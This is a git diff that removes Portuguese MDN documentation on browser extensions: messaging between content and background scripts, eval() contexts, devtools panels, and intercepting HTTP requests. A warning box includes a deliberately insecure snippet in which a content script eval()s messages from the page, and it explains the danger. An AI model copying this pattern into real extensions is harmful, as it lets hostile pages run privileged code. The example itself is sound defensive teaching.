- <li>stores the port in a variable named <code>portFromCS</code></li>
- <li>sends the content script a message using the port</li>
- <li>starts listening to messages received on the port, and logs them</li>
- </ul>
- </li>
- <li>sends messages to the content script, using <code>portFromCS</code>, when the user clicks the extension's browser action</li>
-</ul>
-
-<pre class="brush: js">// background-script.js
-
-var portFromCS;
-
-function connected(p) {
- portFromCS = p;
- portFromCS.postMessage({greeting: "hi there content script!"});
- portFromCS.onMessage.addListener(function(m) {
- console.log("In background script, received message from content script")
- console.log(m.greeting);
- });
-}
-
-browser.runtime.onConnect.addListener(connected);
-
-browser.browserAction.onClicked.addListener(function() {
- portFromCS.postMessage({greeting: "they clicked the button!"});
-});
-</pre>
-
-<h4 id="Multiple_content_scripts">Multiple content scripts</h4>
-
-<p>If you have multiple content scripts communicating at the same time, you might want to store each connection in an array.</p>
-
-
-
-<ul>
-</ul>
-
-<pre class="brush: js">// background-script.js
-
-var ports = []
-
-function connected(p) {
- ports[p.sender.tab.id]    = p
- //...
-}
-
-browser.runtime.onConnect.addListener(connected)
-
-browser.browserAction.onClicked.addListener(function() {
- ports.forEach(p =&gt; {
-        p.postMessage({greeting: "they clicked the button!"})
-    })
-});</pre>
-
-
-
-<ul>
-</ul>
-
-<h2 id="Comunicar_com_a_página_da_Web">Comunicar com a página da Web</h2>
-
-<p>Although content scripts don't by default get access to objects created by page scripts, they can communicate with page scripts using the DOM <code><a href="/en-US/docs/Web/API/Window/postMessage">window.postMessage</a></code> and <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">window.addEventListener</a></code> APIs.</p>
-
-<p>For example:</p>
-
-<pre class="brush: js">// page-script.js
-
-var messenger = document.getElementById("from-page-script");
-
-messenger.addEventListener("click", messageContentScript);
-
-function messageContentScript() {
- window.postMessage({
- direction: "from-page-script",
- message: "Message from the page"
- }, "*");</pre>
-
-<pre class="brush: js">// content-script.js
-
-window.addEventListener("message", function(event) {
- if (event.source == window &amp;&amp;
- event.data &amp;&amp;
- event.data.direction == "from-page-script") {
- alert("Content script received message: \"" + event.data.message + "\"");
- }
-});</pre>
-
-<p>For a complete working example of this, <a href="https://mdn.github.io/webextensions-examples/content-script-page-script-messaging.html">visit the demo page on GitHub</a> and follow the instructions.</p>
-
-<div class="warning">
-<p>Note that any time you interact with untrusted web content on this way, you need to be very careful. Extensions are privileged code which can have powerful capabilities, and hostile web pages can easily trick them into accessing those capabilities.</p>
-
-<p>To make a trivial example, suppose the content script code that receives the message does something like this:</p>
-
-<pre class="brush: js">// content-script.js
-
-window.addEventListener("message", function(event) {
- if (event.source == window &amp;&amp;
- event.data.direction &amp;&amp;
- event.data.direction == "from-page-script") {
- eval(event.data.message);
- }
-});</pre>
-
-<p>Now the page script can run any code with all the privileges of the content script.</p>
-</div>
-
-<h2 id="Using_eval()_in_content_scripts">Using eval() in content scripts</h2>
-
-<p>In Chrome, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval">eval()</a></code> always runs code in the context of the content script, not in the context of the page.</p>
-
-<p>In Firefox:</p>
-
-<ul>
- <li>if you call <code>eval()</code>, it runs code in the context of the content script</li>
- <li>if you call <code>window.eval()</code>, it runs code in the context of the page.</li>
-</ul>
-
-<p>For example, consider a content script like this:</p>
-
-<pre class="brush: js">// content-script.js
-
-window.eval('window.x = 1;');
-eval('window.y = 2');
-
-console.log(`In content script, window.x: ${window.x}`);
-console.log(`In content script, window.y: ${window.y}`);
-
-window.postMessage({
- message: "check"
-}, "*");</pre>
-
-<p>This code just creates some variables x and y using <code>window.eval()</code> and <code>eval()</code>, then logs their values, then messages the page.</p>
-
-<p>On receiving the message, the page script logs the same variables:</p>
-
-<pre class="brush: js">window.addEventListener("message", function(event) {
- if (event.source === window &amp;&amp; event.data &amp;&amp; event.data.message === "check") {
- console.log(`In page script, window.x: ${window.x}`);
- console.log(`In page script, window.y: ${window.y}`);
- }
-});</pre>
-
-<p>In Chrome, this will produce output like this:</p>
-
-<pre>In content script, window.x: 1
-In content script, window.y: 2
-In page script, window.x: undefined
-In page script, window.y: undefined</pre>
-
-<p>In Firefox the following output is produced:</p>
-
-<pre>In content script, window.x: undefined
-In content script, window.y: 2
-In page script, window.x: 1
-In page script, window.y: undefined</pre>
-
-<p>The same applies to <code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout">setTimeout()</a></code>, <code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval">setInterval()</a></code>, and <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function">Function()</a></code>.</p>
-
-<p>When running code in the context of the page, be very careful. The page's environment is controlled by potentially malicious web pages, which can redefine objects you interact with to behave in unexpected ways:</p>
-
-<pre class="brush: js">// page.js redefines console.log
-
-var original = console.log;
-
-console.log = function() {
-  original(true);
-}
-</pre>
-
-<pre class="brush: js">// content-script.js calls the redefined version
-
-window.eval('console.log(false)');
-</pre>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/examples/index.html b/files/pt-pt/mozilla/add-ons/webextensions/examples/index.html
deleted file mode 100644
index 9e00250f9f..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/examples/index.html
+++ /dev/null
@@ -1,29 +0,0 @@
----
-title: Exemplos de extensões
-slug: Mozilla/Add-ons/WebExtensions/Examples
-tags:
- - Extensões da Web
-translation_of: Mozilla/Add-ons/WebExtensions/Examples
-original_slug: Mozilla/Add-ons/WebExtensions/Exemplos_extensoes
----
-<div>{{AddonSidebar}}</div>
-
-<p>Para ajudar a ilustrar como desenvolver extensões, nós mantemos um repositório de exemplos de extensões simples em <a href="https://github.com/mdn/webextensions-examples">https://github.com/mdn/webextensions-examples</a>. Este artigo descreve as APIs de Extensão da Web utilizadas nesse repositório.</p>
-
-<p>Estes exemplos funcionam no Firefox Nightly: a maioria funciona nas versões anteriores do Firefox, mas verifique a chave <a href="/pt-PT/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications">strict_min_version</a> em manifest.json da extensão para se certificar.</p>
-
-<p>Se quiser experimentar estes exemplos, tem três opções principais:</p>
-
-<ol>
- <li>Clone o repositório, depois carregue a extensão diretamente da sua diretoria fonte, utilizando a funcionalidade <a href="/pt-PT/Add-ons/WebExtensions/Instalacao_temporaria_no_Firefox">"Carregar Temporariamente os Extras"</a>. A extensão permanecerá carregada até que reinicie o Firefox.</li>
- <li>Clone o repositório, depois utilize a ferramenta de linha de comando <a href="/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Primeiros_passos_com_web-ext">web-ext</a> para executar o Firefox com a extensão instalada.</li>
- <li>Clone o repositório, depois vá para a diretoria de <em><a href="https://github.com/mdn/webextensions-examples/tree/master/build">build</a></em>. Esta contém as versões criadas e assinadas de todos os exemplos, e assim pode abri-las no Firefox (utilizando Ficheiro/Abrir Ficheiro) e instale-as permanentemente, tal como uma extensão que instalaria a partir de <a href="https://addons.mozilla.org/en-US/firefox/">addons.mozilla.org</a>.</li>
-</ol>
-
-<div class="warning">
-<p><strong>Importante</strong>: Por favor, não submeta estes exemplos dos exemplos da 'Extensão da Web' para AMO (addons.mozilla.org), não precisa de assinar o extra para executar os exemplos da 'Extensão da Web'. Basta seguir os passos acima.</p>
-</div>
-
-<p>Se desejar contribuir para o repositório, <a href="https://github.com/mdn/webextensions-examples/blob/master/CONTRIBUTING.md">envie-nos um pedido de submissão!</a></p>
-
-<p>{{WebExtAllExamples}}</p>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/extending_the_developer_tools/index.html b/files/pt-pt/mozilla/add-ons/webextensions/extending_the_developer_tools/index.html
deleted file mode 100644
index ac5e8d664e..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/extending_the_developer_tools/index.html
+++ /dev/null
@@ -1,157 +0,0 @@
----
-title: Extensão das ferramentas de desenvolvimento
-slug: Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools
-translation_of: Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools
-original_slug: Mozilla/Add-ons/WebExtensions/Extensão_das_ferramentas_de_desenvolvimento
----
-<div>{{AddonSidebar}}</div>
-
-<div class="note">
-<p>Esta página descreve as APIs das <em>devtools</em>  que existem no Firefox 55. Embora as APIs sejam baseadas nas <a href="https://developer.chrome.com/extensions/devtools">APIs de devtools do Chrome</a>, ainda existem muitas funcionalidades que ainda não estão implementadas no Firefox, e por isso, não estão documentadas aqui. Para ver quais as funcionalidades que estão atualmente em falta, por favor, consulte <a href="/pt-PT/Add-ons/WebExtensions/Extensão_das_ferramentas_de_desenvolvimento#Limitações_das_APIs_de_devtools">Limitações das APIs de devtools</a>.</p>
-</div>
-
-<p>Pode utilizar as APIs das Extensões da Web para ampliar as ferramentas de desenvollvimento integradas no navegador. Para criar a extensão <em>devtools</em>, inclua a chave "<a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/devtools_page">devtools_page</a>" no <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a>:</p>
-
-<pre class="brush: json">"devtools_page": "devtools/devtools-page.html"</pre>
-
-<p>O valor desta chave é um URL a apontar para um ficheiro HTML que foi incorporado com a sua extensão. O URL deverá ser relativo ao próprio ficheiro manifest.json.</p>
-
-<p>O ficheiro HTML define uma página especial na extensão, chamada de página <em>devtools</em>.</p>
-
-<h2 id="A_página_devtools">A página devtools</h2>
-
-<p>The devtools page is loaded when the browser devtools are opened, and unloaded when it is closed. Note that because the devtools window is associated with a single tab, it's quite possible for more than one devtools window - hence more than one devtools page - to exist at the same time.</p>
-
-<p>The devtools page doesn't have any visible DOM, but can include JavaScript sources using <code><a href="/en-US/docs/Web/HTML/Element/script">&lt;script&gt;</a></code> tags. The sources must be bundled with the extension itself. The sources get access to:</p>
-
-<ul>
- <li>the normal DOM APIs accessible through the global <code><a href="/en-US/docs/Web/API/Window">window</a></code> object</li>
- <li>the same <a href="/en-US/Add-ons/WebExtensions/Content_scripts#WebExtension_APIs">WebExtension APIs as in Content Scripts</a></li>
- <li>the devtools APIs:
- <ul>
- <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow">devtools.inspectedWindow</a></code></li>
- <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.network">devtools.network</a></code></li>
- <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.panels">devtools.panels</a></code></li>
- </ul>
- </li>
-</ul>
-
-<p>Note that the devtools page does not get access to any other WebExtension APIs, and the background page doesn't get access to the devtools APIs. Instead, the devtools page and the background page must communicate using the <code>runtime</code> messaging APIs.</p>
-
-<h2 id="Criar_painéis">Criar painéis</h2>
-
-<p>The devtools window hosts a number of separate tools - the JavaScript Debugger, Network Monitor, and so on. A row of tabs across the top lets the user switch between the different tools. The window hosting each tool's user interface is called a "panel".</p>
-
-<p>Using the <code>devtools.panels.create()</code> API, you can create your own panel in the devtools window:</p>
-
-<pre class="brush: js">browser.devtools.panels.create(
- "My Panel", // title
- "icons/star.png", // icon
- "devtools/panel/panel.html" // content
-).then((newPanel) =&gt; {
- newPanel.onShown.addListener(initialisePanel);
- newPanel.onHidden.addListener(unInitialisePanel);
-});</pre>
-
-<p>This takes three mandatory arguments: the panel's title, icon, and content. It returns a <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code> which resolves to a <code>devtools.panels.ExtensionPanel</code> object representing the new panel.</p>
-
-<h2 id="Interagir_com_a_janela_de_destino">Interagir com a janela de destino</h2>
-
-<p>The developer tools are always attached to a particular browser tab. This is referred to as the "target" for the developer tools, or the "inspected window". You can interact with the inspected window using the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow">devtools.inspectedWindow</a></code> API.</p>
-
-<h3 id="Executar_código_na_janela_de_destino">Executar código na janela de destino</h3>
-
-<p>The <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow/eval">devtools.inspectedWindow.eval()</a></code> provides one way to run code in the inspected window.</p>
-
-<p>This is somewhat like using {{WebExtAPIRef("tabs.executeScript()")}} to inject a content script, but with one important difference:</p>
-
-<ul>
- <li>unlike content scripts, scripts loaded using <code>devtools.inspectedWindow.eval()</code><strong> do not</strong> get <a href="/en-US/Add-ons/WebExtensions/Content_scripts#DOM_access">a "clean view of the DOM"</a>: that is, they can see changes to the page made by page scripts.</li>
-</ul>
-
-<div class="note">
-<p>Note that a clean view of the DOM is a security feature, intended to help prevent hostile pages from tricking extensions by redefining the behavior of native DOM functions. This means you need to be very careful using eval(), and should use a normal content script if you can.</p>
-</div>
-
-<p>Scripts loaded using <code>devtools.inspectedWindow.eval()</code> also don't see any JavaScript variables defined by content scripts.</p>
-
-<h3 id="Trabalhar_com_scripts_de_conteúdo">Trabalhar com <em>scripts</em> de conteúdo</h3>
-
-<p>A devtools document doesn't have direct access to {{WebExtAPIRef("tabs.executeScript()")}}, so if you need to inject a content script, the devtools document must send a message to the background script asking it to inject the script. The <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow/tabId">devtools.inspectedWindow.tabId</a></code> provides the ID of the target tab: the devtools document can pass this to the background script, and the background script can in turn pass it into {{WebExtAPIRef("tabs.executeScript()")}}:</p>
-
-<pre class="brush: js">// devtools-panel.js
-
-const scriptToAttach = "document.body.innerHTML = 'Hi from the devtools';";
-
-window.addEventListener("click", () =&gt; {
- browser.runtime.sendMessage({
- tabId: browser.devtools.inspectedWindow.tabId,
- script: scriptToAttach
- });
-});</pre>
-
-<pre class="brush: js">// background.js
-
-function handleMessage(request, sender, sendResponse) {
- browser.tabs.executeScript(request.tabId, {
- code: request.script
- });
-}
-
-browser.runtime.onMessage.addListener(handleMessage);</pre>
-
-<p>If you need to exchange messages between the content scripts running in the target window and a devtools document, it's a good idea to use the {{WebExtAPIRef("runtime.connect()")}} and {{WebExtAPIRef("runtime.onConnect")}} to set up a connection between the background page and the devtools document. The background page can then maintain a mapping between tab IDs and {{WebExtAPIRef("runtime.Port")}} objects, and use this to route messages between the two scopes.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14923/devtools-content-scripts.png" style="display: block; height: 416px; margin-left: auto; margin-right: auto; width: 600px;"></p>
-
-<h2 id="Limitações_das_APIs_de_devtools">Limitações das APIs de devtools</h2>
-
-<p>These APIs are based on the Chrome devtools APIs, but many features are still missing, compared with Chrome. This section lists the features that are still not implemented, as of Firefox 54. Note that the devtools APIs are under active development and we expect to add support for most of them in future releases.</p>
-
-<h3 id="devtools.inspectedWindow">devtools.inspectedWindow</h3>
-
-<p>The following are not supported:</p>
-
-<ul>
- <li><code>inspectedWindow.getResources()</code></li>
- <li><code>inspectedWindow.onResourceAdded</code></li>
- <li><code>inspectedWindow.onResourceContentCommitted</code></li>
-</ul>
-
-<p>None of the options to <code>inspectedWindow.eval()</code> are supported.</p>
-
-<p>Scripts injected using <code>inspectedWindow.eval()</code> can't use any of the Console's command-line helper functions, like $0.</p>
-
-<h3 id="devtools.network">devtools.network</h3>
-
-<p>The following are not supported:</p>
-
-<ul>
- <li><code>network.getHAR()</code></li>
- <li><code>network.onRequestFinished</code></li>
-</ul>
-
-<h3 id="devtools.panels">devtools.panels</h3>
-
-<p>O seguinte não é suportado:</p>
-
-<ul>
- <li><code>panels.elements</code></li>
- <li><code>panels.sources</code></li>
- <li><code>panels.setOpenResourceHandler()</code></li>
- <li><code>panels.openResource()</code></li>
- <li><code>panels.ExtensionPanel.createStatusBarButton()</code></li>
- <li><code>panels.Button</code></li>
- <li><code>panels.ElementsPanel</code></li>
- <li><code>panels.SourcesPanel</code></li>
-</ul>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>The <a href="https://github.com/mdn/webextensions-examples">webextensions-examples</a> repo on GitHub, contains several examples of extensions that use devtools panels:</p>
-
-<ul>
- <li>
- <p><a href="https://github.com/mdn/webextensions-examples/blob/master/devtools-panels/">devtools-panels</a> utiliza painéis de <em>devtools</em>:</p>
- </li>
-</ul>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/index.html b/files/pt-pt/mozilla/add-ons/webextensions/index.html
deleted file mode 100644
index 4c894e2cf1..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/index.html
+++ /dev/null
@@ -1,135 +0,0 @@
----
-title: Extensões de Navegador
-slug: Mozilla/Add-ons/WebExtensions
-tags:
- - Extensões da Web
- - Extras
- - Landing
-translation_of: Mozilla/Add-ons/WebExtensions
----
-<div>{{AddonSidebar}}</div>
-
-<p>As extensões podem ampliar e modificar a capacidade de um navegador. As extensões para Firefox são criadas utilizando a API de WebExtensions, um sistema de navegador cruzado para desenvolver extensões. Em grande medida, o sistema é compatível com a <a class="external-icon external" href="https://developer.chrome.com/extensions">API de extensão</a> suportada pelo Google Chrome, Opera e <a href="https://browserext.github.io/browserext/">W3C Draft Community Group</a>.</p>
-
-<p>As extensões escritas para estes navegadores irão na maioria dos casos ser executadas no Firefox ou <a href="https://docs.microsoft.com/pt-pt/microsoft-edge/extensions">Microsoft Edge</a> com <a href="/pt-PT/Add-ons/WebExtensions/Trasnsferir_extensao_Google_Chrome">apenas algumas alterações</a>. A API também é totalmente compatível com <a href="/pt-PT/Firefox/Multiprocess_Firefox">os multiprocessos do Firefox</a>.</p>
-
-<p>Se tiver ideias ou questões, ou precisar de ajuda para migrar um extra legado para utilizar as APIs de WebExtensions, pode contactar-nos em <a href="https://mail.mozilla.org/listinfo/dev-addons">lista de discussões dev-addons</a> ou <a href="irc://irc.mozilla.org/webextensions">#webextensions</a> no <a href="https://wiki.mozilla.org/IRC">IRC</a></p>
-
-<div class="row topicpage-table">
-<div class="section">
-<h2 id="Começar">Começar</h2>
-
-<ul>
- <li><a href="/pt-PT/Add-ons/WebExtensions/O_que_sao_WebExtensions">O que são extensões?</a></li>
- <li><a href="/pt-PT/Add-ons/WebExtensions/A_sua_primeira_extensao">A sua primeira extensão</a></li>
- <li><a href="/pt-PT/Add-ons/WebExtensions/A_sua_segunda_extensao">A sua seguna extensão</a></li>
- <li><a href="/pt-PT/Add-ons/WebExtensions/Anatomia_de_uma_extensao">Anatomia de uma extensã</a>o</li>
- <li><a href="/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Exemplos_extensoes">Exemplos de Extensões</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Add-ons/WebExtensions/E_a_seguir">E a seguir?</a></li>
-</ul>
-
-<h2 id="Conceitos">Conceitos</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Mozilla/Add-ons/WebExtensions/API">Resumo da API de JavaScript</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Scripts_Conteudo">Scripts de Conteúdo</a></li>
- <li><a href="/en-US/Add-ons/WebExtensions/Match_patterns">Match patterns</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Working_with_files">Working with files</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Internationalization">Internationalização</a> (Tradução)</li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Security_best_practices">Security best practices</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Content Security Policy</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Native_messaging">Native messaging</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Using_the_devtools_APIs">Using the devtools APIs</a></li>
- <li><a href="/en-US/Add-ons/WebExtensions/User_experience_best_practices">User experience best practices</a></li>
- <li><a href="/en-US/Add-ons/WebExtensions/Native_manifests">Native manifests</a></li>
-</ul>
-
-<h2 id="Interface_do_utilizador">Interface do utilizador</h2>
-
-<ul>
- <li><a href="/pt-PT/Add-ons/WebExtensions/interface_do_utilizador">Introdução</a></li>
- <li><a href="/pt-PT/Add-ons/WebExtensions/interface_do_utilizador/Ação_navegador">Botão da barra de ferramentas do navegador</a></li>
- <li><a href="/pt-PT/Add-ons/WebExtensions/interface_do_utilizador/Popups">Botão da barra de ferramentas do navegador com uma janela (<em>popup</em>)</a></li>
- <li><a href="/pt-PT/Add-ons/WebExtensions/interface_do_utilizador/Acoes_pagina">Botão da barra de endereço</a></li>
- <li><a href="/pt-PT/Add-ons/WebExtensions/interface_do_utilizador/Popups">Botão da barra de endereço com uma janela (<em>popup</em>)</a></li>
- <li><a href="/pt-PT/Add-ons/WebExtensions/interface_do_utilizador/Itens_do_menu_de_contexto">Itens do menu de contexto</a></li>
- <li><a href="/pt-PT/Add-ons/WebExtensions/interface_do_utilizador/Barras_laterais">Barras laterais</a></li>
- <li><a href="/pt-PT/Add-ons/WebExtensions/interface_do_utilizador/Options_pages">Página de opções</a></li>
- <li><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Paginas_de_extens%C3%A3o">Páginas de extensão</a></li>
- <li><a href="/pt-PT/Add-ons/WebExtensions/interface_do_utilizador/Notificacoes">Notificações</a></li>
- <li><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Omnibox">Sugestões da barra de endereço</a></li>
- <li><a href="/pt-PT/Add-ons/WebExtensions/interface_do_utilizador/devtools_panels">Painés das ferramentas de desenvolvimento</a></li>
- <li><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Estilos_de_navegador">Estilos de navegador</a></li>
-</ul>
-
-<h2 id="Como...">Como...</h2>
-
-<ul>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests">Intercept HTTP requests</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Modify_a_web_page">Modify a web page</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Add_a_button_to_the_toolbar">Add a button to the toolbar</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Implement_a_settings_page">Implement a settings page</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Interact_with_the_clipboard">Interact with the clipboard</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Working_with_the_Tabs_API">Work with the Tabs API</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Work_with_the_Bookmarks_API">Work with the Bookmarks API</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Work_with_the_Cookies_API">Work with the Cookies API</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Work_with_contextual_identities">Work with contextual identities</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Safely_inserting_external_content_into_a_page">Insert external content</a></li>
-</ul>
-
-<ul>
-</ul>
-
-<h2 id="Porting">Porting</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Trasnsferir_extensao_Google_Chrome">Conversão de uma extensão do Google Chrome</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Conversao_de_uma_extensao_legada_do_firefox">Conversão de uma extensão legada do Firefox</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Developing_WebExtensions_for_Firefox_for_Android">Developing for Firefox for Android</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Embedded_WebExtensions">Embedded WebExtensions</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_the_Add-on_SDK">Comparison with the Add-on SDK</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_XUL_XPCOM_extensions">Comparison with XUL/XPCOM extensions</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Chrome_incompatibilities">Chrome incompatibilities</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Differences_between_desktop_and_Android">Differences between desktop and Android</a></li>
-</ul>
-
-<h2 id="Fluxo_de_trabalho_do_Firefox">Fluxo de trabalho do Firefox</h2>
-
-<ul>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/User_experience_best_practices">User experience</a></li>
- <li><a href="/en-US/Add-ons/WebExtensions/Temporary_Installation_in_Firefox">Installation</a></li>
- <li><a href="/en-US/Add-ons/WebExtensions/Debugging">Debugging</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Testing_persistent_and_restart_features">Testing persistent and restart features</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext">Getting started with web-ext</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/web-ext_command_reference">web-ext command reference</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID">Extensions and the Add-on ID</a></li>
- <li><a href="/en-US/Add-ons/WebExtensions/Alternative_distribution_options">Alternative distribution options</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Request_the_right_permissions">Request the right permissions</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Sharing_objects_with_page_scripts">Sharing objects with page scripts</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Retiring_your_extension">Retiring your extension</a></li>
- <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Tips">Tips and Tricks</a></li>
-</ul>
-</div>
-
-<div class="section">
-<h2 id="Referência">Referência</h2>
-
-<h3 id="APIS_de_JavaScript">APIS de JavaScript</h3>
-
-<ul>
- <li><a href="/pt-PT/Add-ons/WebExtensions/API">Sinopse de API de JavaScript API</a></li>
- <li><a href="/pt-PT/Add-ons/WebExtensions/Suporte_navegador_APIs_JavaScript">Tabelas de compatibilidade de navegador para as APIs de JavaScript</a></li>
-</ul>
-
-<div class="twocolumns">{{ ListSubpages ("/en-US/Add-ons/WebExtensions/API") }}</div>
-
-<h3 id="idManifest_keys>Manifest_keys">id="Manifest_keys"&gt;Manifest keys</h3>
-
-<ul>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json overview</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Browser_compatibility_for_manifest.json">Browser compatibility for manifest.json</a></li>
-</ul>
-
-<div class="twocolumns">{{ ListSubpages ("/en-US/Add-ons/WebExtensions/manifest.json") }}</div>
-</div>
-</div>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/intercept_http_requests/index.html b/files/pt-pt/mozilla/add-ons/webextensions/intercept_http_requests/index.html
deleted file mode 100644
index fef2c0534f..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/intercept_http_requests/index.html
+++ /dev/null
@@ -1,161 +0,0 @@
----
-title: Interceptar Pedidos HTTP
-slug: Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests
-tags:
- - Add-ons
- - Como-fazer
- - Extensões
- - ExtensõesWeb
-translation_of: Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests
-original_slug: Mozilla/Add-ons/WebExtensions/Interceptar_Pedidos_HTTP
----
-<div>{{AddonSidebar}}</div>
-
-<p>Para interceptar pedidos HTTP,  use a {{WebExtAPIRef("webRequest")}} API. Esta API permite que você adicione ouvintes para várias etapas ao fazer uma solicitação HTTP. Nos ouvintes, você pode:</p>
-
-<ul>
- <li>obter acesso para solicitar cabeçalhos e corpos e cabeçalhos de resposta.</li>
- <li>pedidos de cancelamento e redirecionamento</li>
- <li>modificar pedidos e cabeçalhos de resposta</li>
-</ul>
-
-<p>Neste articulo nós vamos dar uma olhada a tres usos diferentes para o modulo <code>webRequest</code>:</p>
-
-<ul>
- <li>Logar pedidos URLs quando eles são feitos.</li>
- <li>Redirecionar pedidos.</li>
- <li>Modificar cabeçalhos de pedidos.</li>
-</ul>
-
-<h2 id="Loggar_pedidos_URLs">Loggar pedidos URLs</h2>
-
-<p>Crie um diretorio chamado "requests". Nesse diretorio crie um ficheiro chamado "manifest.json" com o seguinte conteudo:</p>
-
-<pre class="brush: json">{
- "description": "Demonstração webRequests",
- "manifest_version": 2,
- "name": "webRequest-demo",
- "version": "1.0",
-
- "permissions": [
- "webRequest",
- "&lt;all_urls&gt;"
- ],
-
- "background": {
- "scripts": ["background.js"]
- }
-}</pre>
-
-<p>De seguida, crie um ficheiro chamado "background.js" com o seguinte conteudo:</p>
-
-<pre class="brush: js">function logURL(requestDetails) {
- console.log("A carregar: " + requestDetails.url);
-}
-
-browser.webRequest.onBeforeRequest.addListener(
- logURL,
- {urls: ["&lt;all_urls&gt;"]}
-);
-
-</pre>
-
-<p>Here we use {{WebExtAPIRef("webRequest.onBeforeRequest", "onBeforeRequest")}} to call the <code>logURL()</code> function just before starting the request. The <code>logURL()</code> function grabs the URL of the request from the event object and logs it to the browser console. The <code>{urls: ["&lt;all_urls&gt;"]}</code> <a href="/en-US/Add-ons/WebExtensions/Match_patterns">pattern</a> means we will intercept HTTP requests to all URLs.</p>
-
-<p>To test it out, <a href="/en-US/Add-ons/WebExtensions/Temporary_Installation_in_Firefox">install the extension</a>, <a href="/en-US/docs/Tools/Browser_Console">open the Browser Console</a>, and open some Web pages. In the Browser Console, you should see the URLs for any resources that the browser requests:</p>
-
-<p>{{EmbedYouTube("X3rMgkRkB1Q")}}</p>
-
-<h2 id="Redirecting_requests">Redirecting requests</h2>
-
-<p>Now let's use <code>webRequest</code> to redirect HTTP requests. First, replace manifest.json with this:</p>
-
-<pre class="brush: json">{
-
